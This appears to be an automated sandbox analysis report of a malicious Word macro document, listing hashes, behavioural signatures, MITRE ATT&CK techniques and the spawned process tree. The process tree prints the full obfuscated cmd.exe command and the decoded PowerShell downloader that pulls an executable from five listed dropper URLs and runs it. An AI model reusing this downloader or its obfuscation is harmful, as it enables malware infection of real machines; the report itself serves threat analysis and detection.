b577e06275b467b6737bacb00414fef6cd9214f1ff15392f56b36543f0cadba1

General

Target

edb04d2fa1f8dedd342114f0a59159dd_JaffaCakes118.doc
Size

145KB
MD5

edb04d2fa1f8dedd342114f0a59159dd
SHA1

ab59b7c3d416535da465867ad06681ce25cf9241
SHA256

b577e06275b467b6737bacb00414fef6cd9214f1ff15392f56b36543f0cadba1
SHA512

c4eda85e4cad7db88e96d8d8d1da5f3b5eb2644345c6c9fb30d88854d5eabcfe9bdd3ed12ff08834084ebeb4205201879382c6010fc72284bd1f4c2033b2a7ca
SSDEEP

3072:uYv8GhDS0o9zTGOZD6EbzCdLp4NKR/JZZ:uY1oUOZDlbeLmNKR/JZ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://antigua.aguilarnoticias.com/8ol4F4p

exe.dropper

http://prosolutionplusdiscount.com/gEEsqX5mU

exe.dropper

http://bunonartcrafts.com/6jUhzQa

exe.dropper

http://regenerationcongo.com/NVRODt7

exe.dropper

http://ghoulash.com/oHusH3kaO

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3508	4324	cmd.exe	81

Blocklisted process makes network request 5 IoCs

flow	pid	Process
25	2212	powershell.exe
27	2212	powershell.exe
29	2212	powershell.exe
43	2212	powershell.exe
46	2212	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2212	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4324	WINWORD.EXE
4324	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2212	powershell.exe
2212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2212	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4324	WINWORD.EXE
4324	WINWORD.EXE
4324	WINWORD.EXE
4324	WINWORD.EXE
4324	WINWORD.EXE
4324	WINWORD.EXE
4324	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 2272	4324	WINWORD.EXE	83
PID 4324 wrote to memory of 2272	4324	WINWORD.EXE	83
PID 4324 wrote to memory of 3508	4324	WINWORD.EXE	87
PID 4324 wrote to memory of 3508	4324	WINWORD.EXE	87
PID 3508 wrote to memory of 4424	3508	cmd.exe	89
PID 3508 wrote to memory of 4424	3508	cmd.exe	89
PID 4424 wrote to memory of 4068	4424	cmd.exe	94
PID 4424 wrote to memory of 4068	4424	cmd.exe	94
PID 4424 wrote to memory of 4928	4424	cmd.exe	95
PID 4424 wrote to memory of 4928	4424	cmd.exe	95
PID 4928 wrote to memory of 1964	4928	cmd.exe	96
PID 4928 wrote to memory of 1964	4928	cmd.exe	96
PID 1964 wrote to memory of 1416	1964	cmd.exe	97
PID 1964 wrote to memory of 1416	1964	cmd.exe	97
PID 1964 wrote to memory of 1840	1964	cmd.exe	98
PID 1964 wrote to memory of 1840	1964	cmd.exe	98
PID 4928 wrote to memory of 2988	4928	cmd.exe	99
PID 4928 wrote to memory of 2988	4928	cmd.exe	99
PID 2988 wrote to memory of 2212	2988	cmd.exe	100
PID 2988 wrote to memory of 2212	2988	cmd.exe	100

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\edb04d2fa1f8dedd342114f0a59159dd_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2272
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c %ProGRamDAtA:~0,1%%PRogrAMdaTA:~9,2% /v:oN /c"Set xDl= CwcT\hB$k.-(Xx63e4zad'SfHM70ujAm@i;9lbP+vE/,VRLW{5ntN1qyIUrsp8YF)2~OGDo%g}:=Q&& fOr %5 IN ( 61 71 2 72 39 58 7 47 57 1 75 67 50 44 54 72 59 72 23 42 23 23 57 68 53 53 31 26 42 75 67 11 18 44 54 72 6 72 4 42 26 39 75 67 11 16 44 54 72 37 37 0 8 34 66 18 18 76 22 24 54 15 54 22 35 8 60 27 50 62 76 51 17 2 11 71 38 30 17 3 52 0 53 17 52 10 48 17 38 1 37 34 17 51 52 35 8 4 50 28 62 76 22 6 52 52 61 75 43 43 20 51 52 34 73 29 20 10 20 73 29 34 37 20 59 51 71 52 34 3 34 20 60 10 3 71 32 43 62 71 37 18 64 18 61 33 6 52 52 61 75 43 43 61 59 71 60 71 37 29 52 34 71 51 61 37 29 60 21 34 60 3 71 29 51 52 10 3 71 32 43 73 42 42 60 55 13 50 32 58 33 6 52 52 61 75 43 43 38 29 51 71 51 20 59 52 3 59 20 24 52 60 10 3 71 32 43 15 30 58 6 19 77 20 33 6 52 52 61 75 43 43 59 17 73 17 51 17 59 20 52 34 71 51 3 71 51 73 71 10 3 71 32 43 53 45 46 68 70 52 27 33 6 52 52 61 75 43 43 73 6 71 29 37 20 60 6 10 3 71 32 43 71 25 29 60 25 16 9 20 68 22 10 23 61 37 34 52 12 22 33 22 65 35 8 37 54 62 62 76 22 46 62 16 28 22 35 8 57 15 36 50 0 76 0 22 27 66 54 22 35 8 6 27 27 66 76 22 4 18 54 62 22 35 8 34 15 62 18 76 8 17 51 41 75 61 29 38 37 34 3 40 22 5 22 40 8 57 15 36 50 40 22 10 17 14 17 22 35 24 71 59 17 20 3 6 12 8 34 66 50 16 0 34 51 0 8 4 50 28 62 65 49 52 59 56 49 8 60 27 50 62 10 70 71 2 51 37 71 20 21 64 34 37 17 12 8 34 66 50 16 44 0 8 34 15 62 18 65 35 8 51 28 15 66 76 22 1 27 62 28 22 35 57 24 0 12 12 69 17 52 11 57 52 17 32 0 8 34 15 62 18 65 10 37 17 51 73 52 6 0 11 73 17 0 62 28 28 28 28 65 0 49 57 51 41 71 9 17 11 57 52 17 32 0 8 34 15 62 18 35 8 24 50 62 18 76 22 59 54 62 28 22 35 38 59 17 20 9 35 74 74 3 20 52 3 6 49 74 74 8 39 28 62 36 76 22 63 27 66 18 22 35 88) dO set aK=!aK!!xDl:~ %5, 1!&& if %5 == 88 eCHO !aK:~ -553! |FOR /F "tokens=1 delims=fk" %C IN ('ftype^^^|find "cm"')DO %C "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\system32\cmd.exe
    CmD /v:oN /c"Set xDl= CwcT\hB$k.-(Xx63e4zad'SfHM70ujAm@i;9lbP+vE/,VRLW{5ntN1qyIUrsp8YF)2~OGDo%g}:=Q&& fOr %5 IN ( 61 71 2 72 39 58 7 47 57 1 75 67 50 44 54 72 59 72 23 42 23 23 57 68 53 53 31 26 42 75 67 11 18 44 54 72 6 72 4 42 26 39 75 67 11 16 44 54 72 37 37 0 8 34 66 18 18 76 22 24 54 15 54 22 35 8 60 27 50 62 76 51 17 2 11 71 38 30 17 3 52 0 53 17 52 10 48 17 38 1 37 34 17 51 52 35 8 4 50 28 62 76 22 6 52 52 61 75 43 43 20 51 52 34 73 29 20 10 20 73 29 34 37 20 59 51 71 52 34 3 34 20 60 10 3 71 32 43 62 71 37 18 64 18 61 33 6 52 52 61 75 43 43 61 59 71 60 71 37 29 52 34 71 51 61 37 29 60 21 34 60 3 71 29 51 52 10 3 71 32 43 73 42 42 60 55 13 50 32 58 33 6 52 52 61 75 43 43 38 29 51 71 51 20 59 52 3 59 20 24 52 60 10 3 71 32 43 15 30 58 6 19 77 20 33 6 52 52 61 75 43 43 59 17 73 17 51 17 59 20 52 34 71 51 3 71 51 73 71 10 3 71 32 43 53 45 46 68 70 52 27 33 6 52 52 61 75 43 43 73 6 71 29 37 20 60 6 10 3 71 32 43 71 25 29 60 25 16 9 20 68 22 10 23 61 37 34 52 12 22 33 22 65 35 8 37 54 62 62 76 22 46 62 16 28 22 35 8 57 15 36 50 0 76 0 22 27 66 54 22 35 8 6 27 27 66 76 22 4 18 54 62 22 35 8 34 15 62 18 76 8 17 51 41 75 61 29 38 37 34 3 40 22 5 22 40 8 57 15 36 50 40 22 10 17 14 17 22 35 24 71 59 17 20 3 6 12 8 34 66 50 16 0 34 51 0 8 4 50 28 62 65 49 52 59 56 49 8 60 27 50 62 10 70 71 2 51 37 71 20 21 64 34 37 17 12 8 34 66 50 16 44 0 8 34 15 62 18 65 35 8 51 28 15 66 76 22 1 27 62 28 22 35 57 24 0 12 12 69 17 52 11 57 52 17 32 0 8 34 15 62 18 65 10 37 17 51 73 52 6 0 11 73 17 0 62 28 28 28 28 65 0 49 57 51 41 71 9 17 11 57 52 17 32 0 8 34 15 62 18 35 8 24 50 62 18 76 22 59 54 62 28 22 35 38 59 17 20 9 35 74 74 3 20 52 3 6 49 74 74 8 39 28 62 36 76 22 63 27 66 18 22 35 88) dO set aK=!aK!!xDl:~ %5, 1!&& if %5 == 88 eCHO !aK:~ -553! |FOR /F "tokens=1 delims=fk" %C IN ('ftype^^^|find "cm"')DO %C "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $i244='f161';$s758=new-object Net.WebClient;$T508='http://antigua.aguilarnoticias.com/8ol4F4p@http://prosolutionplusdiscount.com/gEEsqX5mU@http://bunonartcrafts.com/6jUhzQa@http://regenerationcongo.com/NVRODt7@http://ghoulash.com/oHusH3kaO'.Split('@');$l188='R830';$I695 = '721';$h772='T418';$i684=$env:public+'\'+$I695+'.exe';foreach($i253 in $T508){try{$s758.DownloadFile($i253, $i684);$n062='C780';If ((Get-Item $i684).length -ge 80000) {Invoke-Item $i684;$f584='r180';break;}}catch{}}$P089='Y724'; "
      4⤵
      PID:4068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=1 delims=fk" %C IN ('ftype^|find "cm"') DO %C "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4928
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ftype|find "cm"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1964
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ftype"
        6⤵
        
        PID:1416
      - C:\Windows\system32\find.exe
        
        find "cm"
        6⤵
        
        PID:1840
    - - C:\Windows\system32\cmd.exe
        
        cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2988
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $i244='f161';$s758=new-object Net.WebClient;$T508='http://antigua.aguilarnoticias.com/8ol4F4p@http://prosolutionplusdiscount.com/gEEsqX5mU@http://bunonartcrafts.com/6jUhzQa@http://regenerationcongo.com/NVRODt7@http://ghoulash.com/oHusH3kaO'.Split('@');$l188='R830';$I695 = '721';$h772='T418';$i684=$env:public+'\'+$I695+'.exe';foreach($i253 in $T508){try{$s758.DownloadFile($i253, $i684);$n062='C780';If ((Get-Item $i684).length -ge 80000) {Invoke-Item $i684;$f584='r180';break;}}catch{}}$P089='Y724';
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\16EE2021.wmf

Filesize
502B

MD5
081b9678466bfb0383f78640fb58d185

SHA1
0a901e3014bad18f0e54e1566ad9ee27e15003b1

SHA256
2cf05803ce69b24b44f0c70831e007128c180d2840db6424040a6fae7844dee3

SHA512
aa756ae7d5ba68c6635b5c66c49e87921ef099eeca83ab652ed502d2e2e2cc598ea800636f79afacfdabce2d9697f9e4231225cff46b89dc5169d6832bc57a65

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDACBD.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3htbic4.4sz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2212-61-0x000001F6EE490000-0x000001F6EE4B2000-memory.dmp

Filesize
136KB

Download
memory/4324-6-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-17-0x00007FFE4C540000-0x00007FFE4C550000-memory.dmp

Filesize
64KB

Download
memory/4324-12-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-11-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-13-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-15-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-14-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-9-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-8-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-7-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-3-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-5-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-16-0x00007FFE4C540000-0x00007FFE4C550000-memory.dmp

Filesize
64KB

Download
memory/4324-10-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-4-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-0-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-1-0x00007FFE8EA6D000-0x00007FFE8EA6E000-memory.dmp

Filesize
4KB

Download
memory/4324-66-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-67-0x00007FFE8EA6D000-0x00007FFE8EA6E000-memory.dmp

Filesize
4KB

Download
memory/4324-68-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-69-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download
memory/4324-2-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-581-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-584-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-583-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-582-0x00007FFE4EA50000-0x00007FFE4EA60000-memory.dmp

Filesize
64KB

Download
memory/4324-585-0x00007FFE8E9D0000-0x00007FFE8EBC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads